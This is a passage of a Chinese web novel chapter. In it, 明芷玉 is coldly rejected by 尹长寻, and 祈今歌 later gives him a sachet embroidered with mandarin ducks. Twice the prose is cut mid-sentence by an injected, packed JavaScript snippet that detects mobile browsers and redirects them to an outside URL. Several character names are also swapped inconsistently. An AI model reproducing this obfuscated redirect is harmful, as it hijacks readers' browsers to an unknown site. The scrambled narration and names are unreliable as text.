她知道尹长寻不喜欢自己，可是因为父亲和哥哥的原因，他也从未如此直白地拒绝过她。 所以明芷玉一直觉得自己是特别的。 她以前被男孩子打过都没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16457693|185361||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哭过，可尹长寻一句轻飘飘的话，就足以让她有泪崩的冲动。 她心如刀绞，强忍住落泪的酸涩，朝着尹长寻问道:“长寻哥哥，为什么那个女人在百影楼？” 没有点名点姓，但是尹长寻和明正都明白说的是谁。 尹长寻似乎听到了什么笑话一样扬了扬嘴角，她这么兴师动众前来就为了问这个？ 看来明芷玉比她还闲。 “我的地方有哪些人需要和你汇报？” 话已经说的很直接，明芷玉根本没有身份和资格质问尹长寻，尹长寻也无需给她任何交代。 金利和李别肃面面相觑，他们弄不清楚状况，不敢随意说话。 明芷玉委屈得要命，可是她又恨自己窝囊，尹长寻都表现得这么不把她当回事了，她竟然都舍不得生气！ 但是她不死心，她必须得到一个确切的答案，患得患失的感觉太难受了！ 死也要死个明白！ 于是她也不再顾忌任何东西，也不在乎还有他人在场，她豁出去了，鼓起勇气问出了心底的疑问。 “当然不用和我说，但是，但是，你现在三天两头待在百影楼，你都不愿意见我！你明明知道我喜欢你......你为什么要招她进来，会弹琴的多了去了，干嘛偏偏让她来，你是喜欢她吗？还是说，我会错意了，其实你喜欢的另有其人？” 她能清晰地感受到自己说出每一个字时声音的颤抖，她害怕尹长寻给出她害怕的回答。 明正实在是看不下去明芷玉这幅卑微的样子，走到了她身边，一只手扶着她的肩膀，劝道：“好了，别说了，不是让你乖乖呆在家吗？这么大雨跑出来干嘛，你回去，好不好？” 明芷玉看明正又想糊弄自己，鼻子都气歪了，她直接甩开了明正的手，倔强地站在原地，说道：“长寻哥哥，你到底喜欢她什么？长得漂亮？你不是不知道她以前是干什么的，她的身份怎么配上你？” “明芷玉。” 尹长寻微微抬头看向他，脸上是明芷玉从未见过的严肃。 明明是冷着脸，明芷玉却能从那对散发出寒意的眸子中感受到燃起的愤怒。 “我喜欢谁好像和你没有关系吧？是我做了什么给你错觉，觉得我不喜欢别人就会喜欢你？你是不是太自作多情了？” 尹长寻说话毫不留情，像是秋风扫过落叶，只剩下冷寂。 他不觉得祈今歌低贱，更不喜欢听到别人说他低贱。 “另外，我喜欢谁，什么时候需要考虑对方身份了？” 明芷玉后背一僵，好一会儿才明白尹长寻话里的意思。 他没有承认。 但是更没有否认。 他…… 他的确是喜欢祈今歌的。 这已经宣判了自己的死刑。 并且是当着另外三个人的面，立即执行。 明芷玉只觉得大脑空空，红了眼眶，一时间不知道怎么回话。 她还能说什么，她喜欢的人明摆着不喜欢自己，当着这么多人的面直接拒绝了自己。 是啊，他尹长寻什么时候是活在别人目光之中的人了？ 他要是喜欢一个女人，什么时候需要考虑那么多了？ 她高洁如月，他也喜欢。 她卑贱如泥，他也喜欢。 至始至终，尹长寻只是不喜欢自己罢了。 一瞬间她突然明白了自己的可笑，泪水在眼眶打转，粉嫩的小脸憋的通红，她竟然再也说不出一个字。 情绪即将决堤，下一秒，她直接冲出了房门。 “小姐！你怎么了！你等等我！” 明正听见了莲儿的声音，紧接着，传入耳边的是脚步踩踏在地板上的“咚咚”的闷响声，杂乱又急促。 没多久，四周又恢复了安静。 敞开的房门处不知从哪儿夹来一阵冷风，吹的金利直哆嗦，赶紧起身关门。 气氛一阵微妙。 纠结了一会，李别肃还是胆子大着开了口：“王爷，这样说会不会太伤明小姐心了？” 金利觉得也是，就冲人家姑娘敢直面自己心意，也不该搞得她这么没面子，再说人家亲哥哥还在这，这闹得岂不尴尬？ 尹长寻懒得说话，直接躺在在春凳上闭目养神。 “不，这样反而好。” 明正从座椅上站了起来，将一只手背在身后，内心怅然。 他还没从见过妹妹如此伤心的样子。 说他不心疼，是假的。 但是他也明白，必须这么做，才是对的。 但是作为哥哥，他赞同尹长寻的做法。 她的妹妹他了解，是个不撞南墙不回头的人。 如果不是这样彻底让她寒心，她是不会放弃的。 不然的话，她不知道还要在尹长寻身上浪费多少时间。 长痛不如短痛，快刀斩乱麻才是最好。 “谢谢你，长寻。” 尹长寻眼皮子都懒得抬，他知道明正为何道谢。 “谢就不必了，她太能闹腾了，我只是想自己图个清净。” 明正知道尹长寻说不出什么好话，这也在他的意料之中。 “行行行，不谢你。我现在要回去一趟，这大小姐肯定要一哭二闹三上吊才消停的，你是不用管，图个清净，我这做哥哥的还是得劝劝她。” 41. 香囊 明芷玉离开后，楼下的人议论纷纷。 “怎么了？发生什么事了？” "不知道啊。" “她好像哭了？眼睛都红了。我看明公子追出去了，还真是太守的女儿啊？” “那能是什么事啊？你没听见吗，她说了是来找东家的，可不是来找她哥的，那可不就是男男女女那点事呗！” “咱们东家是那种风流性子吗？咱们院里这么多女人，平日也没见他多看谁一眼啊。不过你说的也有道理，长得俊的人一半都风流债多。” “不是把，她毕竟是太守的女儿，咱们的东家该多牛才敢招惹她啊？” 明芷玉是个好懂的人，什么心事都写在脸上，一看她冲下楼时那不断滑落的泪珠，祈今歌一琢磨，也明白了怎么回事了。 上辈子因为她与尹长寻成婚早，因此并没有明芷玉这一出插曲。 哪怕是在婚宴上，她也清楚地这位太守千金当年是没有前来的，之后的五年中，明芷玉叶从未拜访过庆王府。 当然，这五年内，她也未听说过明芷玉成婚的消息。 前世的她尚且未曾见过明芷玉，也不知道明芷玉对尹长寻怀有怎样的感情。 更不知道这份感情有多深，又多重。 这一世，虽然只有两面之缘，但是她对尹长寻的倾慕，祈明珠怎么会看不出来。 她方才从楼下冲下来，一双杏仁眼红彤彤的，仿佛受了天大的委屈。 连带着她的婢女莲儿朝着自己恶狠狠地瞪了一眼后，方才匆匆离去。 其他人只是猜测，祈今歌却是能确信，明芷玉一定是在尹长寻那里碰了钉子。 王水闲把她拉到一边，好奇着悄声道：“今歌，你说刚刚那位太守千金，不会真的是咱们东家弄哭的吧？” 祈今歌哭笑不得，心想，还真是尹长寻弄哭的。 只不过不是众人猜测的玩弄了明芷玉的感情，而是从来不回应她的感情。 到底是别人的感情之事，她也不好说什么，于是回答道：“我哪里知道。” 王水闲圆溜溜的眼珠子一转，一拍脑袋，恍然大悟，道：“其实我觉得，倒不是他们说的那样，什么东家辜负了这位大小姐。姐姐你想啊，咱们这里又不是没漂亮姑娘，也没见东家调戏谁，明显他就不是随便的人，说不定是这明家小姐看上我们东家，自己死皮赖脸呢！好姐姐，你说说对不对，毕竟她刚刚和她的丫鬟大吵大闹，一看就是不讲理的人，咱们东家怎么会好这一口呢！” 祈今歌淡淡地一勾唇，没想到竟然还是王水闲猜对了。 祈今歌道：“你对咱们东家的印象，倒是不错。” 王水闲嘿嘿一笑，像是有点不好意思，随即又大大方方承认道：“那肯定啊，有钱长得好之类的咱们就不提了，就说林悦兮那件事，东家他宁愿承受损失，冒着风险捧一个新人，也不惯着林悦兮，为我们出头，就单单这件事，我就佩服咱们东家，要是换一个人，说不定咱两们都得滚蛋。更别说东家多大方啊，最近生意好，还给我多发了十两白银，这可是三个月的月钱呢！大方的男子，谁不爱？” 那副夸张的样子宛如花痴，祈今歌配合道：“嗯，也是。” 王水闲见她态度淡淡地，好奇道：“好姐姐，你怎么看咱们东家？方才一群姐妹在那玩闹笑话，你也没来，快和我说说。” 姜雪宁垂眸，低声道：“还能有什么别的看法，自然和你们的看法是一样的。” 这句话听上去平平，好像只是应付和客套一样的话，可只有其祈今歌自己，才知道这短短的几个字，是有多么不一样。 毕竟在重生之初，她可是对尹长寻避之不及，而现在，她打从心底地觉得尹长寻好，至少对她是特别的好。 只是她何德何能，能让尹长寻这一世对自己这么好？ 如果说，她害怕重蹈覆辙，害怕和上一世一样，尹长寻对自己会飞快地失去兴趣，那如今，这顾虑至少已经打消了一大半。 只是当局者迷，她不清楚，自己对尹长寻态度的松动，到底是因为感动，还是因为她也是同样抱有好感？ 至少现在的她得不出答案。 祈今歌有些心乱，她不想继续这个话题。 恰好，一声威严的声音中断了她和王水闲的谈话。 “怎么还在这看戏？还没看够？” 大伙一抬头，只见叶威正站楼梯中间看着他们。 众人一看管事来了，哪里还敢光明正大地无所事事，刚准备散开，叶威又抛下了第二句话：“都别走了，我有事要宣布。你们就着这些桌椅，自行找位置坐着就行。” 戏台下摆放着几十条板凳，百影楼的伙计们一排排做好，而叶威已经下楼站在戏台上。 叶威清了清嗓子，一只手拿着账本，一只手背在身后，还是如往常一样的模样，唯独不一样的是向来严肃的面容难得多了几分笑意。 “伙计们，方才已经和东家请示了，这十来天内楼里都不开业了，咱们百影楼来了笔大生意，要是干好了，说不定咱们也能拿大笔赏钱。” 大生意？ 还是值得百影楼停业十天准备的大生意？ 那雇主定然不是一般人！ 一提到赏钱，乖坐在下方的众人一个个都面露喜色，纷纷起哄，让叶管事别卖关子，赶紧说说是什么事。 叶威这才说清楚事情的前因后果。 原来昨天黄昏之时，鲁府派了府内的管家前来。 管家范寻和叶威聊了差不多一个时辰，商量的便是要请戏班子的人去他们府里唱一天戏。 虽然说只有一天，不过鲁庆老爷财大气粗，给的钱可是比百影楼开门一个月的钱还要多。 所为何事？ 乃是郭老爷取得美娇娘——殷府殷夫人的义女祈明珠。 一般情况下，妾室娶进门是就算要办个婚礼，也是小打小闹，一是妾室这个身份不怎么能上台面，二是搞的太过热闹，往往会让人觉得拂了正妻的面子。 更何况鲁家夫人何芳静向来强势，鲁庆虽然花心，但是也从未明面上不给何氏面子。 但这次明显是例外。 听说鲁老爷对这位美人甚至喜爱，非要大操大办，不光要宴请所有的亲朋好友，还要请云州最富有名气的百影楼来助兴，讲求一个越热闹越好。 距离鲁老爷的定下的日子还有十多天，这几天楼里主要的任务便是排练好鲁府人定下的曲目，除此之外便再也不用忙其他。 按理说，这些曲目对于百影楼的人来说都已经是信手拈来了，根本不需要特意停工来准备这么多天。 可是鲁家的管事特意提醒了，鲁老爷要求万无一失，钱既然已经给到位了，那么百影楼的人就应该全力以赴，全心全意的准备，以保证没有丝毫差错，否则状态不好，耽误了老爷和第九房姨太太的婚礼，拂了老爷的面子，到时候谁又负的起责？ 叶威一合计，这买卖倒是十分划得来，于是刚才和东家一汇报，东家和明正也是一口同意了。 这鲁庆要娶妾的事，早就已经有风言风语传了出来，可是任谁也没想到，鲁庆竟然对着第九房妾室如此重视。 这可是前八房都没有的待遇。 更没有想到，百影楼竟然还和这桩婚事能有所牵扯。 不过对于百影楼的人来说，这是天大的好事。 活少干了，钱反而能拿的更多了。 众人纷纷交头接耳道，不愧是云州首富，哪怕是娶一名小妾，都如此财大气粗，实在是太有实力了。 言辞之间，纷纷忘记了前几日的时候，他们之中有人还对这桩婚事冷嘲热讽。 相比于其他人的兴奋，祈今歌内心五味陈杂。 自从搬出殷府之后，她便和祈明珠彻底断了联系。 就连她嫁人这种大事，竟然自己还是从外人的嘴里听说。 罢了，别想了。 祈今歌不想再为祈明珠的事伤神，既然当初搬出殷府就已经下定决心不要在和她牵扯，就不应该再这么优柔寡断。 过了一会，安碧就从后院走了过来，给每人都发了一本小册子，上面写的曲目正是郭府亲点的。 “大家抓紧排练！干好了少不了大家的好处！” 叶威交代完，众人便投入了紧锣密鼓的排练之中。 有的去了练功房，有的在直接在戏台上开始排练。 一时间，百影楼内又热闹了起来，楼外喧嚣的雨声和楼内乐器声、唱曲声混合在了一起。 等到中午休息的空档，祈今歌揉了揉自己的手，酸痛感才得以缓解。 “今歌，要不要一起去吃饭？” 百影楼给上工的伙计都管午饭，做饭这件事一般都是由安碧和另外一位婆婆负责，口味吃起来还不错。 王水闲忙了一上午，肚子早就饿的咕咕叫了，一看到了饭点，屁股立马就离开了凳子，恨不得飞奔过去。 她又看着祈今歌坐在老地方没动，便喊着她一起。 祈今歌摇了摇头：“我晚点去，你们先吃。” 王水闲点点头，没做多想，只道：“那你也快点来啊，来晚了没菜了！” 待到所有人都离开了以后，祈今歌抬头看了看楼梯口。 她从袖口掏出了一个蓝色的香囊，有些犹豫。 自从尹长寻救下她以后，她一直想她固然是还不完他的恩情，可是也应该有所反应，做点什么，聊表心意。 可苦于没有拿的出手，又能被尹长寻瞧得上的东西。 冥思苦想之下，她想起上辈子自己无事之时，也学过女红，于是便缝制了一个香囊，也算是表明了自己心意。 前世她就给尹长寻做过香囊，尹长寻嫌弃她做的东西花里胡哨，不像男子用的，但是他嘴上虽然嫌弃，祈今歌只要送，尹长寻也收下了。 所以祈今歌想，尹长寻虽然对她缝制的香囊说不上多喜欢，但是也绝对是不讨厌的。 香囊昨天才绣好，可是她得寻个机会给尹长寻，毕竟按照自己的性子，既不大可能专程去王府找他，更不可能众目睽睽之下给他。 想来想去，还是趁百影楼没什么人注意的时候，交给尹长寻最好。 祈今歌抿了抿唇，确定四周无人后，下定决心上了楼。 还没登上几节台阶，正巧碰见金利和李别肃往楼下走，算是撞个正着。 他们有些意外：“祈姑娘,你上楼有事吗？” 祈今歌只道：“嗯，我想去找一下东家，不知道他人还在吗？” 金利和李别肃互相看了对方一眼，识趣地说：“你去吧，就他一个人在那呢。正好我两还有事，就先行一步了，你两有啥事慢慢说。” 说完两个人就齐齐踏出了大门，不一会儿就不见了人影。 祈今歌上了二楼，敲门得了允许后，推开了门。 尹长寻一看，有些意外祈今歌竟然会主动找他。 “难得你来找我。” 祈今歌被他盯着，莫名有些紧张，点了点头。 尹长寻笑了笑。 “过来，我又不吃人。” 祈今歌也为自己的别扭感到羞愧。 平日自己的落落大方去哪了？藏不住心思的样子实在是太小家子气。 于是她走到了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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但是祈今歌不能将实话说出头，上辈子她在王府无事之时，时长给尹长寻绣制香囊，因为二人是夫妻，自己绣鸳鸯是再自然不过的事。 五年的时间，这个习惯已经深入骨髓，以至于她竟然丝毫没有察觉，这个图案是如此的不合适。 她明白，无论自己对尹长寻到底是何情愫，但是在前世的那段日子，自己终归是把他当夫君看待。 尹长寻没有回话，只是一脸笑意地看着她。 祈今歌却觉得自己如坐针毡，又有些恼怒自己被尹长寻牵着鼻子走。 于是她大着胆子问道：“这些都不重要，王爷您到底要不要？” 反正不管要不要，她也不可能再给他重新绣一只了！ 这可花了自己不少钱，本来就兜比脸干净，哪还有多余的钱准备另外的东西？ 尹长寻难得看她这这么有生气的样子，只觉得又好玩又可爱。 他点了点头：“当然要。” 他伸手接过香囊，指尖与祈今歌的双手微触。 祈今歌只觉得心中一颤，连忙将已经空空如也的双手缩了回来。 两人间一时无言。 事情已经办完了，祈明珠也没了留在这里的理由， 于是她告辞道：“王爷，那我先走了？” 尹长寻直到按照她的性格，定然是午饭都没吃，等所有人都离开才敢大着胆子来找自己。 原本想喊着她一起吃饭，但是一看她这迫不及待想要离开的样子，他又把话咽了回去。 来日方长，他不能操之过急。 于是他点了点头，算是默认了祈今歌的离去。 “祈今歌。” 就在祈今歌即将踏出房门的时候，尹长寻叫住了她。 她回过头。 他举起手上的那个香囊，紧紧握在手中。 “这个，我很喜欢。” 他并未如以前一般嫌弃自己做的香囊。 祈今歌有点愕然。 她脸颊微泛红，微微点了点头，赶紧合上了门，匆忙离开了。 不消一会儿，金利和李别肃推门进了来，两人一人提着一箱饭盒，尽管盒子密封得紧紧的，香味还是止不住地溢了出来。 这事他们特意去云州最为著名的秦珍楼点的饭菜，吃过的人，没有说不好吃的。 他们讲饭盒放在圆桌之前，摆好了饭碗，转身却尹长寻还坐在原地，手中却拿了一个蓝色香囊，爱不释手地把玩着。 金利走上前来，瞪圆了眼睛仔细看了看，明知故问道：“王爷，是祈姑娘送的？” 尹长寻好心情地回他：“是啊。” 李别肃惊讶道：“荷包上秀鸳鸯？祈姑娘平时看上去很矜持啊，原来这么直接的吗？” 金利感叹到，真是旱的旱死、涝的涝死，喜欢尹长寻的妹子真是永远也不缺，上午刚气走一个，中午又来一个。 王爷很忙啊。 他们几个自问自己条件也不算差，可要是与尹长寻相比，那就宛如萤火与日月争辉，显得黯淡无光。 尹长寻没有回答李别肃的问题，反而是讲荷包揣进了袖口。 李别肃惊讶：“王爷，你就收下了？” 尹长许点了点头：“别人一番心意，当然要收下。” 两个人心照不宣，瞬间就乐得不行，这话说的尹长寻成了个怜香惜玉的人，仿佛一个时辰之前一点面子都不给明芷心的不是本人一样。 感情这事，果然是丝毫不讲道理。